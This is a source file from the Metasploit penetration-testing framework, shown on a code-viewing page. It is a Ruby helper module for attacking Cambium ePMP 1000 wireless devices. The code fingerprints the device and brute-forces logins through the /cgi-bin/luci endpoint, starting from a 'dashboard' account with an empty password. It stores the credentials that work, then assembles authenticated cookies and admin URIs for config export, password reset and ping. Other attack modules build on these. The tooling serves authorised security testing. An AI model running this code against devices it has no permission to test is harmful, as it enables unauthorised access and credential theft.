CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/msf/core/auxiliary/epmp.rb
Views: 1904
1
# -*- coding: binary -*-
2
module Msf
3
###
4
#
5
# This module provides methods for working with epmp
6
#
7
###
8
9
module Auxiliary::EPMP
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Auxiliary::AuthBrute
12
include Msf::Auxiliary::Report
13
include Msf::Auxiliary::Scanner
14
15
def report_cred(opts)
16
service_data = {
17
address: opts[:ip],
18
port: opts[:port],
19
service_name: opts[:service_name],
20
protocol: 'tcp',
21
workspace_id: myworkspace_id
22
}
23
24
credential_data = {
25
origin_type: :service,
26
module_fullname: fullname,
27
username: opts[:user],
28
private_data: opts[:password],
29
private_type: :password
30
}.merge(service_data)
31
32
login_data = {
33
last_attempted_at: Time.now,
34
core: create_credential(credential_data),
35
status: Metasploit::Model::Login::Status::SUCCESSFUL,
36
proof: opts[:proof]
37
}.merge(service_data)
38
39
create_credential_login(login_data)
40
end
41
42
#
43
# Check if App is Cambium ePMP 1000
44
#
45
46
def is_app_epmp1000?
47
begin
48
res = send_request_cgi(
49
{
50
'uri' => '/',
51
'method' => 'GET'
52
}
53
)
54
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
55
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
56
return false
57
end
58
59
good_response = (
60
res &&
61
res.code == 200 &&
62
(res.body.include?('cambium.min.css') || res.body.include?('cambiumnetworks.com') && res.body.include?('https://support.cambiumnetworks.com/files/epmp/'))
63
)
64
65
if good_response
66
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
67
if !get_epmp_ver.nil?
68
epmp_ver = get_epmp_ver[1]
69
if !epmp_ver.nil?
70
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
71
do_login(epmp_ver.to_s)
72
return true
73
else
74
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
75
epmp_ver = ''
76
login(datastore['USERNAME'], datastore['PASSWORD'], epmp_ver)
77
return true
78
end
79
end
80
else
81
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
82
return false
83
end
84
end
85
86
# run if version > 3.4.1
87
88
def login_2(user, pass, epmp_ver)
89
res = send_request_cgi(
90
{
91
'uri' => '/cgi-bin/luci',
92
'method' => 'POST',
93
'headers' => {
94
'X-Requested-With' => 'XMLHttpRequest',
95
'Accept' => 'application/json, text/javascript, */*; q=0.01'
96
},
97
'vars_post' =>
98
{
99
'username' => 'dashboard',
100
'password' => ''
101
}
102
}
103
)
104
105
cookies = res.get_cookies_parsed
106
check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
107
108
good_response = (
109
res &&
110
res.code == 200 &&
111
check_sysauth.include?('sysauth')
112
)
113
114
if good_response
115
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
116
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
117
prevsessid = res.body.match(/((?:[a-z][a-z]*[0-9]+[a-z0-9]*))/)
118
119
res = send_request_cgi(
120
{
121
'uri' => '/cgi-bin/luci',
122
'method' => 'POST',
123
'cookie' => sysauth_value,
124
'headers' => {
125
'X-Requested-With' => 'XMLHttpRequest',
126
'Accept' => 'application/json, text/javascript, */*; q=0.01',
127
'Connection' => 'close'
128
},
129
'vars_post' =>
130
{
131
'username' => user,
132
'password' => pass,
133
'prevsess' => prevsessid
134
}
135
}
136
)
137
138
good_response = (
139
res &&
140
res.code == 200 &&
141
!res.body.include?('auth_failed')
142
)
143
144
if good_response
145
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
146
report_cred(
147
ip: rhost,
148
port: rport,
149
service_name: "Cambium ePMP 1000 version #{epmp_ver}",
150
user: user,
151
password: pass
152
)
153
154
# check if max_user_number_reached?
155
if !res.body.include?('max_user_number_reached')
156
# get the cookie now
157
cookies = res.get_cookies_parsed
158
stok_value_dirty = res.body.match(/"stok": "(.*?)"/)
159
stok_value = "#{stok_value_dirty}".split('"')[3]
160
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
161
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
162
163
final_cookie = "#{sysauth_value}usernameType_#{rport}=admin; stok_#{rport}=#{stok_value}"
164
165
# create config_uri for different modules
166
config_uri_dump_config = '/cgi-bin/luci/;stok=' + stok_value + '/admin/config_export?opts=json'
167
config_uri_reset_pass = '/cgi-bin/luci/;stok=' + stok_value + '/admin/set_param'
168
config_uri_get_chart = '/cgi-bin/luci/;stok=' + stok_value + '/admin/get_chart'
169
170
return final_cookie, config_uri_dump_config, config_uri_reset_pass, config_uri_get_chart
171
else
172
print_error('The credentials are correct but maximum number of logged-in users reached. Try again later.')
173
final_cookie = 'skip'
174
config_uri_dump_config = 'skip'
175
config_uri_reset_pass = 'skip'
176
config_uri_get_chart = 'skip'
177
return final_cookie, config_uri_dump_config, config_uri_reset_pass, config_uri_get_chart
178
end
179
else
180
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
181
final_cookie = 'skip'
182
config_uri_dump_config = 'skip'
183
config_uri_reset_pass = 'skip'
184
config_uri_get_chart = 'skip'
185
return final_cookie, config_uri_dump_config, config_uri_reset_pass, config_uri_get_chart
186
end
187
end
188
end
189
190
# run if version < 3.4.1
191
def login_1(user, pass, epmp_ver)
192
res = send_request_cgi(
193
{
194
'uri' => '/cgi-bin/luci',
195
'method' => 'POST',
196
'headers' => {
197
'X-Requested-With' => 'XMLHttpRequest',
198
'Accept' => 'application/json, text/javascript, */*; q=0.01'
199
},
200
'vars_post' =>
201
{
202
'username' => 'dashboard',
203
'password' => ''
204
}
205
}
206
)
207
208
cookies = res.get_cookies_parsed
209
check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
210
211
good_response = (
212
res &&
213
res.code == 200 &&
214
check_sysauth.include?('sysauth')
215
)
216
217
if good_response
218
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
219
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
220
221
cookie1 = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
222
223
res = send_request_cgi(
224
{
225
'uri' => '/cgi-bin/luci',
226
'method' => 'POST',
227
'cookie' => cookie1,
228
'headers' => {
229
'X-Requested-With' => 'XMLHttpRequest',
230
'Accept' => 'application/json, text/javascript, */*; q=0.01',
231
'Connection' => 'close'
232
},
233
'vars_post' =>
234
{
235
'username' => user,
236
'password' => pass
237
}
238
}
239
)
240
241
cookies = res.get_cookies_parsed
242
243
good_response = (
244
res &&
245
res.code == 200 &&
246
!res.body.include?('auth_failed')
247
)
248
249
if good_response
250
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
251
report_cred(
252
ip: rhost,
253
port: rport,
254
service_name: "Cambium ePMP 1000 version #{epmp_ver}",
255
user: user,
256
password: pass
257
)
258
259
# check if max_user_number_reached?
260
if !res.body.include?('max_user_number_reached')
261
# get the final cookie now
262
cookies = res.get_cookies_parsed
263
stok_value = cookies.has_key?('stok') && cookies['stok'].first
264
sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s
265
sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)
266
267
final_cookie = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + stok_value
268
269
# create config_uri for different modules
270
config_uri_dump_config = '/cgi-bin/luci/;stok=' + stok_value + '/admin/config_export?opts=json'
271
config_uri_reset_pass = '/cgi-bin/luci/;stok=' + stok_value + '/admin/set_param'
272
config_uri_get_chart = '/cgi-bin/luci/;stok=' + stok_value + '/admin/get_chart'
273
config_uri_ping = '/cgi-bin/luci/;stok=' + stok_value + '/admin/ping'
274
275
return final_cookie, config_uri_dump_config, config_uri_reset_pass, config_uri_get_chart, config_uri_ping
276
else
277
print_error('The credentials are correct but maximum number of logged-in users reached. Try again later.')
278
final_cookie = 'skip'
279
config_uri_dump_config = 'skip'
280
config_uri_reset_pass = 'skip'
281
config_uri_get_chart = 'skip'
282
config_uri_ping = 'skip'
283
return final_cookie, config_uri_dump_config, config_uri_reset_pass, config_uri_get_chart, config_uri_ping
284
end
285
else
286
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
287
final_cookie = 'skip'
288
config_uri_dump_config = 'skip'
289
config_uri_reset_pass = 'skip'
290
config_uri_get_chart = 'skip'
291
config_uri_ping = 'skip'
292
return final_cookie, config_uri_dump_config, config_uri_reset_pass, config_uri_get_chart, config_uri_ping
293
end
294
end
295
end
296
end
297
end
298
299